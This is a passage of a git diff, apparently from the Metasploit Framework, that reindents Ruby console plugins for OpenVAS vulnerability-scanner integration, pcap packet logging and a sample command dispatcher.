server") - print_status - print_status("CONNECTION") - print_status("==========") - print_status("openvas_connect Connects to OpenVAS") - print_status("openvas_disconnect Disconnects from OpenVAS") - print_status - print_status("TARGETS") - print_status("=======") - print_status("openvas_target_create Create target") - print_status("openvas_target_delete Deletes target specified by ID") - print_status("openvas_target_list Lists targets") - print_status - print_status("TASKS") - print_status("=====") - print_status("openvas_task_create Create task") - print_status("openvas_task_delete Delete a task and all associated reports") - print_status("openvas_task_list Lists tasks") - print_status("openvas_task_start Starts task specified by ID") - print_status("openvas_task_stop Stops task specified by ID") - print_status("openvas_task_pause Pauses task specified by ID") - print_status("openvas_task_resume Resumes task specified by ID") - print_status("openvas_task_resume_or_start Resumes or starts task specified by ID") - print_status - print_status("CONFIGS") - print_status("=======") - print_status("openvas_config_list Lists scan configurations") - print_status - print_status("FORMATS") - print_status("=======") - print_status("openvas_format_list Lists available report formats") - print_status - print_status("REPORTS") - print_status("=======") - print_status("openvas_report_list Lists available reports") - print_status("openvas_report_delete Delete a report specified by ID") - print_status("openvas_report_import Imports an OpenVAS report specified by ID") - print_status("openvas_report_download Downloads an OpenVAS report specified by ID") - end - - # Verify the database is connected and usable - def database? - if !(framework.db and framework.db.usable) - return false - else - return true - end - end - - # Verify there is an active OpenVAS connection - def openvas? - if @ov - return true - else - print_error("No OpenVAS connection available. Please use openvas_connect.") - return false - end - end - - # Verify correct number of arguments and verify -h was not given. Return - # true if correct number of arguments and help was not requested. - def args?(args, min=1, max=nil) - if not max then max = min end - if (args.length < min or args.length > max or args[0] == "-h") - return false - end - - return true - end - - #-------------------------- - # Basic Functions - #-------------------------- - def cmd_openvas_debug(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.debug(args[0].to_i) - print_good(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage:") - print_status("openvas_debug integer") - end - end - - def cmd_openvas_version() - return unless openvas? - - begin - ver = @ov.get_version - print_good("Using OMP version #{ver}") - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - - #-------------------------- - # Connection Functions - #-------------------------- - def cmd_openvas_connect(*args) - # Is the database configured? - if not database? - print_error("No database has been configured.") - return - end - - # Don't allow duplicate sessions - if @ov then - print_error("Session already open, please use openvas_disconnect first.") - return - end - - # Make sure the correct number of arguments are present. - if args?(args, 4, 5) - - user, pass, host, port, sslv = args - - # SSL warning. User is required to confirm. - if(host != "localhost" and host != "127.0.0.1" and sslv != "ok") - print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") - print_error(" with the ability to man-in-the-middle the OpenVAS traffic to capture the OpenVAS") - print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") - print_error(" as an additional parameter to this command.") - return - end - - begin - print_status("Connecting to OpenVAS instance at #{host}:#{port} with username #{user}...") - ov = OpenVASOMP::OpenVASOMP.new(user, pass, host, port) - rescue OpenVASOMP::OMPAuthError => e - print_error("Authentication failed: #{e.reason}") - return - rescue OpenVASOMP::OMPConnectionError => e - print_error("Connection failed: #{e.reason}") - return - end - print_good("OpenVAS connection successful") - @ov = ov - - else - print_status("Usage:") - print_status("openvas_connect username password host port <ssl-confirm>") - end - end - - # Disconnect from an OpenVAS manager - def cmd_openvas_disconnect() - return unless openvas? - @ov.logout - @ov = nil - end - - - #-------------------------- - # Target Functions - #-------------------------- - def cmd_openvas_target_create(*args) - return unless openvas? - - if args?(args, 3) - begin - resp = @ov.target_create(args[0], args[1], args[2]) - print_status(resp) - cmd_openvas_target_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - - else - print_status("Usage: openvas_target_create <name> <hosts> <comment>") - end - end - - def cmd_openvas_target_delete(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.target_delete(args[0]) - print_status(resp) - cmd_openvas_target_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_target_delete <target_id>") - end - end - - def cmd_openvas_target_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => ["ID", "Name", "Hosts", "Max Hosts", "In Use", "Comment"]) - id = 0 - @ov.target_get_all().each do |target| - tbl << [ id, target["name"], target["hosts"], target["max_hosts"], - target["in_use"], target["comment"] ] - id += 1 - end - print_good("OpenVAS list of targets") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - #-------------------------- - # Task Functions - #-------------------------- - def cmd_openvas_task_create(*args) - return unless openvas? - - if args?(args, 4) - begin - resp = @ov.task_create(args[0], args[1], args[2], args[3]) - print_status(resp) - cmd_openvas_task_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - - else - print_status("Usage: openvas_task_create <name> <comment> <config_id> <target_id>") - end - end - - def cmd_openvas_task_delete(*args) - return unless openvas? - - if args?(args, 2) - - # User is required to confirm before deleting task. - if(args[1] != "ok") - print_error("Warning: Deleting a task will also delete all reports associated with the ") - print_error("task, please pass in 'ok' as an additional parameter to this command.") - return - end - - begin - resp = @ov.task_delete(args[0]) - print_status(resp) - cmd_openvas_task_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_delete <id> ok") - print_error("This will delete the task and all associated reports.") - end - end - - def cmd_openvas_task_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => ["ID", "Name", "Comment", "Status", "Progress"]) - id = 0 - @ov.task_get_all().each do |task| - tbl << [ id, task["name"], task["comment"], task["status"], task["progress"] ] - id += 1 - end - print_good("OpenVAS list of tasks") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - def cmd_openvas_task_start(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_start(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_start <id>") - end - end - - def cmd_openvas_task_stop(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_stop(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_stop <id>") - end - end - - def cmd_openvas_task_pause(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_pause(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_pause <id>") - end - end - - def cmd_openvas_task_resume(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_resume_paused(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_resume <id>") - end - end - - def cmd_openvas_task_resume_or_start(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_resume_or_start(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_resume_or_start <id>") - end - end - - #-------------------------- - # Config Functions - #-------------------------- - def cmd_openvas_config_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ "ID", "Name" ]) - - id = 0 - @ov.configs.each do |config| - tbl << [ id, config["name"] ] - id += 1 - end - print_good("OpenVAS list of configs") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - #-------------------------- - # Format Functions - #-------------------------- - def cmd_openvas_format_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => ["ID", "Name", "Extension", "Summary"]) - id = 0 - @ov.formats.each do |format| - tbl << [ id, format["name"], format["extension"], format["summary"] ] - id += 1 - end - print_good("OpenVAS list of report formats") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - #-------------------------- - # Report Functions - #-------------------------- - def cmd_openvas_report_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => ["ID", "Task Name", "Start Time", "Stop Time"]) - id = 0 - @ov.report_get_all().each do |report| - tbl << [ id, report["task"], report["start_time"], report["stop_time"] ] - id += 1 - end - print_good("OpenVAS list of reports") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - def cmd_openvas_report_delete(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.report_delete(args[0]) - print_status(resp) - cmd_openvas_report_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_report_delete <id>") - end - end - - def cmd_openvas_report_download(*args) - return unless openvas? - - if args?(args, 4) - begin - report = @ov.report_get_by_id(args[0], args[1]) - ::FileUtils.mkdir_p(args[2]) - name = ::File.join(args[2], args[3]) - print_status("Saving report to #{name}") - output = ::File.new(name, "w") - output.puts(report) - output.close - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_report_download <report_id> <format_id> <path> <report_name>") - end - end - - def cmd_openvas_report_import(*args) - return unless openvas? - - if args?(args, 2) - begin - report = @ov.report_get_by_id(args[0], args[1]) - print_status("Importing report to database.") - framework.db.import({:data => report}) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_report_import <report_id> <format_id>") - print_status("Only the NBE and XML formats are supported for importing.") - end - end - - end # End OpenVAS class + class OpenVASCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + "OpenVAS" + end + + def commands + { + 'openvas_help' => "Displays help", + 'openvas_version' => "Display the version of the OpenVAS server", + 'openvas_debug' => "Enable/Disable debugging", + 'openvas_connect' => "Connect to an OpenVAS manager using OMP", + 'openvas_disconnect' => "Disconnect from OpenVAS manager", + + 'openvas_task_create' => "Create a task (name, comment, target, config)", + 'openvas_task_delete' => "Delete task by ID", + 'openvas_task_list' => "Display list of tasks", + 'openvas_task_start' => "Start task by ID", + 'openvas_task_stop' => "Stop task by ID", + 'openvas_task_pause' => "Pause task by ID", + 'openvas_task_resume' => "Resume task by ID", + 'openvas_task_resume_or_start' => "Resume task or start task by ID", + + 'openvas_target_create' => "Create target (name, hosts, comment)", + 'openvas_target_delete' => "Delete target by ID", + 'openvas_target_list' => "Display list of targets", + + 'openvas_config_list' => "Quickly display list of configs", + + 'openvas_format_list' => "Display list of available report formats", + + 'openvas_report_list' => "Display a list of available report formats", + 'openvas_report_delete' => "Delete a report specified by ID", + 'openvas_report_download' => "Save a report to disk", + 'openvas_report_import' => "Import report specified by ID into framework", + } + end + + def cmd_openvas_help() + print_status("openvas_help Display this help") + print_status("openvas_debug Enable/Disable debugging") + print_status("openvas_version Display the version of the OpenVAS server") + print_status + print_status("CONNECTION") + print_status("==========") + print_status("openvas_connect Connects to OpenVAS") + print_status("openvas_disconnect Disconnects from OpenVAS") + print_status + print_status("TARGETS") + print_status("=======") + print_status("openvas_target_create Create target") + print_status("openvas_target_delete Deletes target specified by ID") + print_status("openvas_target_list Lists targets") + print_status + print_status("TASKS") + print_status("=====") + print_status("openvas_task_create Create task") + print_status("openvas_task_delete Delete a task and all associated reports") + print_status("openvas_task_list Lists tasks") + print_status("openvas_task_start Starts task specified by ID") + print_status("openvas_task_stop Stops task specified by ID") + print_status("openvas_task_pause Pauses task specified by ID") + print_status("openvas_task_resume Resumes task specified by ID") + print_status("openvas_task_resume_or_start Resumes or starts task specified by ID") + print_status + print_status("CONFIGS") + print_status("=======") + print_status("openvas_config_list Lists scan configurations") + print_status + print_status("FORMATS") + print_status("=======") + print_status("openvas_format_list Lists available report formats") + print_status + print_status("REPORTS") + print_status("=======") + print_status("openvas_report_list Lists available reports") + print_status("openvas_report_delete Delete a report specified by ID") + print_status("openvas_report_import Imports an OpenVAS report specified by ID") + print_status("openvas_report_download Downloads an OpenVAS report specified by ID") + end + + # Verify the database is connected and usable + def database? + if !(framework.db and framework.db.usable) + return false + else + return true + end + end + + # Verify there is an active OpenVAS connection + def openvas? + if @ov + return true + else + print_error("No OpenVAS connection available. Please use openvas_connect.") + return false + end + end + + # Verify correct number of arguments and verify -h was not given. Return + # true if correct number of arguments and help was not requested. + def args?(args, min=1, max=nil) + if not max then max = min end + if (args.length < min or args.length > max or args[0] == "-h") + return false + end + + return true + end + + #-------------------------- + # Basic Functions + #-------------------------- + def cmd_openvas_debug(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.debug(args[0].to_i) + print_good(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage:") + print_status("openvas_debug integer") + end + end + + def cmd_openvas_version() + return unless openvas? + + begin + ver = @ov.get_version + print_good("Using OMP version #{ver}") + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + + #-------------------------- + # Connection Functions + #-------------------------- + def cmd_openvas_connect(*args) + # Is the database configured? + if not database? + print_error("No database has been configured.") + return + end + + # Don't allow duplicate sessions + if @ov then + print_error("Session already open, please use openvas_disconnect first.") + return + end + + # Make sure the correct number of arguments are present. + if args?(args, 4, 5) + + user, pass, host, port, sslv = args + + # SSL warning. User is required to confirm. + if(host != "localhost" and host != "127.0.0.1" and sslv != "ok") + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the OpenVAS traffic to capture the OpenVAS") + print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") + print_error(" as an additional parameter to this command.") + return + end + + begin + print_status("Connecting to OpenVAS instance at #{host}:#{port} with username #{user}...") + ov = OpenVASOMP::OpenVASOMP.new(user, pass, host, port) + rescue OpenVASOMP::OMPAuthError => e + print_error("Authentication failed: #{e.reason}") + return + rescue OpenVASOMP::OMPConnectionError => e + print_error("Connection failed: #{e.reason}") + return + end + print_good("OpenVAS connection successful") + @ov = ov + + else + print_status("Usage:") + print_status("openvas_connect username password host port <ssl-confirm>") + end + end + + # Disconnect from an OpenVAS manager + def cmd_openvas_disconnect() + return unless openvas? + @ov.logout + @ov = nil + end + + + #-------------------------- + # Target Functions + #-------------------------- + def cmd_openvas_target_create(*args) + return unless openvas? + + if args?(args, 3) + begin + resp = @ov.target_create(args[0], args[1], args[2]) + print_status(resp) + cmd_openvas_target_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + + else + print_status("Usage: openvas_target_create <name> <hosts> <comment>") + end + end + + def cmd_openvas_target_delete(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.target_delete(args[0]) + print_status(resp) + cmd_openvas_target_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_target_delete <target_id>") + end + end + + def cmd_openvas_target_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ["ID", "Name", "Hosts", "Max Hosts", "In Use", "Comment"]) + id = 0 + @ov.target_get_all().each do |target| + tbl << [ id, target["name"], target["hosts"], target["max_hosts"], + target["in_use"], target["comment"] ] + id += 1 + end + print_good("OpenVAS list of targets") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + #-------------------------- + # Task Functions + #-------------------------- + def cmd_openvas_task_create(*args) + return unless openvas? + + if args?(args, 4) + begin + resp = @ov.task_create(args[0], args[1], args[2], args[3]) + print_status(resp) + cmd_openvas_task_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + + else + print_status("Usage: openvas_task_create <name> <comment> <config_id> <target_id>") + end + end + + def cmd_openvas_task_delete(*args) + return unless openvas? + + if args?(args, 2) + + # User is required to confirm before deleting task. + if(args[1] != "ok") + print_error("Warning: Deleting a task will also delete all reports associated with the ") + print_error("task, please pass in 'ok' as an additional parameter to this command.") + return + end + + begin + resp = @ov.task_delete(args[0]) + print_status(resp) + cmd_openvas_task_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_delete <id> ok") + print_error("This will delete the task and all associated reports.") + end + end + + def cmd_openvas_task_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ["ID", "Name", "Comment", "Status", "Progress"]) + id = 0 + @ov.task_get_all().each do |task| + tbl << [ id, task["name"], task["comment"], task["status"], task["progress"] ] + id += 1 + end + print_good("OpenVAS list of tasks") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + def cmd_openvas_task_start(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_start(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_start <id>") + end + end + + def cmd_openvas_task_stop(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_stop(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_stop <id>") + end + end + + def cmd_openvas_task_pause(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_pause(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_pause <id>") + end + end + + def cmd_openvas_task_resume(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_resume_paused(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_resume <id>") + end + end + + def cmd_openvas_task_resume_or_start(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_resume_or_start(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_resume_or_start <id>") + end + end + + #-------------------------- + # Config Functions + #-------------------------- + def cmd_openvas_config_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ "ID", "Name" ]) + + id = 0 + @ov.configs.each do |config| + tbl << [ id, config["name"] ] + id += 1 + end + print_good("OpenVAS list of configs") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + #-------------------------- + # Format Functions + #-------------------------- + def cmd_openvas_format_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ["ID", "Name", "Extension", "Summary"]) + id = 0 + @ov.formats.each do |format| + tbl << [ id, format["name"], format["extension"], format["summary"] ] + id += 1 + end + print_good("OpenVAS list of report formats") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + #-------------------------- + # Report Functions + #-------------------------- + def cmd_openvas_report_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ["ID", "Task Name", "Start Time", "Stop Time"]) + id = 0 + @ov.report_get_all().each do |report| + tbl << [ id, report["task"], report["start_time"], report["stop_time"] ] + id += 1 + end + print_good("OpenVAS list of reports") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + def cmd_openvas_report_delete(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.report_delete(args[0]) + print_status(resp) + cmd_openvas_report_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_report_delete <id>") + end + end + + def cmd_openvas_report_download(*args) + return unless openvas? + + if args?(args, 4) + begin + report = @ov.report_get_by_id(args[0], args[1]) + ::FileUtils.mkdir_p(args[2]) + name = ::File.join(args[2], args[3]) + print_status("Saving report to #{name}") + output = ::File.new(name, "w") + output.puts(report) + output.close + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_report_download <report_id> <format_id> <path> <report_name>") + end + end + + def cmd_openvas_report_import(*args) + return unless openvas? + + if args?(args, 2) + begin + report = @ov.report_get_by_id(args[0], args[1]) + print_status("Importing report to database.") + framework.db.import({:data => report}) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_report_import <report_id> <format_id>") + print_status("Only the NBE and XML formats are supported for importing.") + end + end + + end # End OpenVAS class #------------------------------ # Plugin initialization #------------------------------ - def initialize(framework, opts) - super - add_console_dispatcher(OpenVASCommandDispatcher) - print_status("Welcome to OpenVAS integration by kost and averagesecurityguy.") - print_status - print_status("OpenVAS integration requires a database connection. Once the ") - print_status("database is ready, connect to the OpenVAS server using openvas_connect.") - print_status("For additional commands use openvas_help.") - print_status - @ov = nil - @formats = nil - end + def initialize(framework, opts) + super + add_console_dispatcher(OpenVASCommandDispatcher) + print_status("Welcome to OpenVAS integration by kost and averagesecurityguy.") + print_status + print_status("OpenVAS integration requires a database connection. Once the ") + print_status("database is ready, connect to the OpenVAS server using openvas_connect.") + print_status("For additional commands use openvas_help.") + print_status + @ov = nil + @formats = nil + end - def cleanup - remove_console_dispatcher('OpenVAS') - end + def cleanup + remove_console_dispatcher('OpenVAS') + end - def name - "OpenVAS" - end + def name + "OpenVAS" + end - def desc - "Integrates with the OpenVAS - open source vulnerability management" - end + def desc + "Integrates with the OpenVAS - open source vulnerability management" + end end end diff --git a/plugins/pcap_log.rb b/plugins/pcap_log.rb index aecd5c0b1a..d95aa8abf9 100644 --- a/plugins/pcap_log.rb +++ b/plugins/pcap_log.rb @@ -15,188 +15,188 @@ module Msf class Plugin::PcapLog < Msf::Plugin - # Only little-endian is supported in this implementation. - PCAP_FILE_HEADER = "\xD4\xC3\xB2\xA1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00" + # Only little-endian is supported in this implementation. + PCAP_FILE_HEADER = "\xD4\xC3\xB2\xA1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00" - # - # Implements a pcap console command dispatcher. - # - class PcapLogDispatcher + # + # Implements a pcap console command dispatcher. + # + class PcapLogDispatcher - include Msf::Ui::Console::CommandDispatcher + include Msf::Ui::Console::CommandDispatcher - def name - "PcapLog" - end + def name + "PcapLog" + end - def commands - { - "pcap_filter" => "Set/Get a BPF-style packet filter", - "pcap_dir" => "Set/Get a directory to log pcaps to", - "pcap_prefix" => "Set/Get a filename prefix to log pcaps to", - "pcap_iface" => "Set/Get an interface to capture from", - "pcap_start" => "Start a capture", - "pcap_stop" => "Stop a running capture", + def commands + { + "pcap_filter" => "Set/Get a BPF-style packet filter", + "pcap_dir" => "Set/Get a directory to log pcaps to", + "pcap_prefix" => "Set/Get a filename prefix to log pcaps to", + "pcap_iface" => "Set/Get an interface to capture from", + "pcap_start" => "Start a capture", + "pcap_stop" => "Stop a running capture", - "pcap_show_config" => "Show the current PcapLog configuration" - } - end + "pcap_show_config" => "Show the current PcapLog configuration" + } + end - def cmd_pcap_filter(*args) - @filter = args.join(' ') || @filter - print_line "#{self.name} BPF filter: #{@filter}" - end + def cmd_pcap_filter(*args) + @filter = args.join(' ') || @filter + print_line "#{self.name} BPF filter: #{@filter}" + end - def cmd_pcap_prefix(*args) - @prefix = args[0] || @prefix || "msf3-session" - print_line "#{self.name} prefix: #{@prefix}" - end + def cmd_pcap_prefix(*args) + @prefix = args[0] || @prefix || "msf3-session" + print_line "#{self.name} prefix: #{@prefix}" + end - def cmd_pcap_dir(*args) - @dir = args[0] || @dir || "/tmp" - print_line "#{self.name} Directory: #{@dir}" - end + def cmd_pcap_dir(*args) + @dir = args[0] || @dir || "/tmp" + print_line "#{self.name} Directory: #{@dir}" + end - def cmd_pcap_iface(*args) - @iface = args[0] || @iface - print_line "#{self.name} Interface: #{@iface}" - end + def cmd_pcap_iface(*args) + @iface = args[0] || @iface + print_line "#{self.name} Interface: #{@iface}" + end - def cmd_pcap_start(*args) + def cmd_pcap_start(*args) - unless @pcaprub_loaded - print_error("Pcap module not available") - return false - end + unless @pcaprub_loaded + print_error("Pcap module not available") + return false + end - if @capture_thread && @capture_thread.alive? - print_error "Capture already started." - return false - end + if @capture_thread && @capture_thread.alive? + print_error "Capture already started." + return false + end - gen_fname - print_line "Starting packet capture from #{@iface} to #{@fname}" - okay,msg = validate_options - unless okay - print_error msg - return false - end - dev = (@iface || ::Pcap.lookupdev) - @capture_file.write(PCAP_FILE_HEADER) - @capture_file.flush - @pcap = ::Pcap.open_live(dev, 65535, true, 1) - @pcap.setfilter(@filter) if @filter - @capture_thread = Thread.new { - @pcap.each do |pkt| - @capture_file.write(convert_to_pcap(pkt)) - @capture_file.flush - end - } - end + gen_fname + print_line "Starting packet capture from #{@iface} to #{@fname}" + okay,msg = validate_options + unless okay + print_error msg + return false + end + dev = (@iface || ::Pcap.lookupdev) + @capture_file.write(PCAP_FILE_HEADER) + @capture_file.flush + @pcap = ::Pcap.open_live(dev, 65535, true, 1) + @pcap.setfilter(@filter) if @filter + @capture_thread = Thread.new { + @pcap.each do |pkt| + @capture_file.write(convert_to_pcap(pkt)) + @capture_file.flush + end + } + end - def cmd_pcap_stop(*args) - if @capture_thread && @capture_thread.alive? - print_line "Stopping packet capture from #{@iface} to #{@fname}" - print_line "Capture Stats: #{@pcap.stats.inspect}" - @pcap = nil - @capture_file.close if @capture_file.respond_to? :close - @capture_thread.kill - @capture_thread = nil - else - print_error "No capture running." - end - end + def cmd_pcap_stop(*args) + if @capture_thread && @capture_thread.alive? + print_line "Stopping packet capture from #{@iface} to #{@fname}" + print_line "Capture Stats: #{@pcap.stats.inspect}" + @pcap = nil + @capture_file.close if @capture_file.respond_to? :close + @capture_thread.kill + @capture_thread = nil + else + print_error "No capture running." + end + end - def convert_to_pcap(packet) - t = Time.now - sz = packet.size - [t.to_i, t.usec, sz, sz, packet].pack("V4A*") - end + def convert_to_pcap(packet) + t = Time.now + sz = packet.size + [t.to_i, t.usec, sz, sz, packet].pack("V4A*") + end - def gen_fname - t = Time.now - file_part = "%s_%04d-%02d-%02d_%02d-%02d-%02d.pcap" % [ - @prefix, t.year, t.month, t.mday, t.hour, t.min, t.sec - ] - @fname = File.join(@dir, file_part) - end + def gen_fname + t = Time.now + file_part = "%s_%04d-%02d-%02d_%02d-%02d-%02d.pcap" % [ + @prefix, t.year, t.month, t.mday, t.hour, t.min, t.sec + ] + @fname = File.join(@dir, file_part) + end - # Check for euid 0 and check for a valid place to write files - def validate_options + # Check for euid 0 and check for a valid place to write files + def validate_options - # Check for root. - unless Process.euid.zero? - msg = "You must run as root in order to capture packets." - return [false, msg] - end + # Check for root. + unless Process.euid.zero? + msg = "You must run as root in order to capture packets." + return [false, msg] + end - # Check directory suitability. - unless File.directory? @dir - msg = "Invalid pcap directory specified: '#{@dir}'" - return [false, msg] - end + # Check directory suitability. + unless File.directory? @dir + msg = "Invalid pcap directory specified: '#{@dir}'" + return [false, msg] + end - unless File.writable? @dir - msg = "No write permission to directory: '#{@dir}'" - return [false, msg] - end + unless File.writable? @dir + msg = "No write permission to directory: '#{@dir}'" + return [false, msg] + end - @capture_file = File.open(@fname, "ab") - unless File.writable? @fname - msg = "Cannot write to file: '#{@fname}'" - return [false, msg] - end + @capture_file = File.open(@fname, "ab") + unless File.writable? @fname + msg = "Cannot write to file: '#{@fname}'" + return [false, msg] + end - # If you got this far, you're golden. - msg = "We're good!" - return [true, msg] - end + # If you got this far, you're golden. + msg = "We're good!" + return [true, msg] + end - # Need to pretend to have a datastore for Exploit::Capture to - # function. - def datastore - {} - end + # Need to pretend to have a datastore for Exploit::Capture to + # function. + def datastore + {} + end - def initialize(*args) - super - @dir = File.join(Msf::Config.config_directory, 'logs') - @prefix = "msf3-session" - @filter = nil - @pcaprub_loaded = false - begin - require 'pcaprub' - @pcaprub_loaded = true - @iface = ::Pcap.lookupdev - rescue ::Exception => e - print_error "#{e.class}: #{e}" - @pcaprub_loaded = false - @pcaprub_error = e - end - end + def initialize(*args) + super + @dir = File.join(Msf::Config.config_directory, 'logs') + @prefix = "msf3-session" + @filter = nil + @pcaprub_loaded = false + begin + require 'pcaprub' + @pcaprub_loaded = true + @iface = ::Pcap.lookupdev + rescue ::Exception => e + print_error "#{e.class}: #{e}" + @pcaprub_loaded = false + @pcaprub_error = e + end + end - end + end - def initialize(framework, opts) - super - add_console_dispatcher(PcapLogDispatcher) - print_status "PcapLog plugin loaded." - end + def initialize(framework, opts) + super + add_console_dispatcher(PcapLogDispatcher) + print_status "PcapLog plugin loaded." + end - # Kill the background thread - def cleanup - @capture_thread.kill if @capture_thread && @capture_thread.alive? - @capture_file.close if @capture_file.respond_to? :close - remove_console_dispatcher('PcapLog') - end + # Kill the background thread + def cleanup + @capture_thread.kill if @capture_thread && @capture_thread.alive? + @capture_file.close if @capture_file.respond_to? :close + remove_console_dispatcher('PcapLog') + end - def name - "pcap_log" - end + def name + "pcap_log" + end - def desc - "Logs all socket operations to pcaps (in /tmp by default)" - end + def desc + "Logs all socket operations to pcaps (in /tmp by default)" + end end end diff --git a/plugins/sample.rb b/plugins/sample.rb index d5121d2a67..7627c65844 100644 --- a/plugins/sample.rb +++ b/plugins/sample.rb @@ -15,81 +15,81 @@ module Msf ### class Plugin::Sample < Msf::Plugin - ### - # - # This class implements a sample console command dispatcher. - # - ### - class ConsoleCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + ### + # + # This class implements a sample console command dispatcher. + # + ### + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - # - # The dispatcher's name. - # - def name - "Sample" - end + # + # The dispatcher's name. + # + def name + "Sample" + end - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - { - "sample" => "A sample command added by the sample plugin" - } - end + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "sample" => "A sample command added by the sample plugin" + } + end - # - # This method handles the sample command. - # - def cmd_sample(*args) - print_line("You passed: #{args.join(' ')}") - end - end + # + # This method handles the sample command. + # + def cmd_sample(*args) + print_line("You passed: #{args.join(' ')}") + end + end - # - # The constructor is called when an instance of the plugin is created. The - # framework instance that the plugin 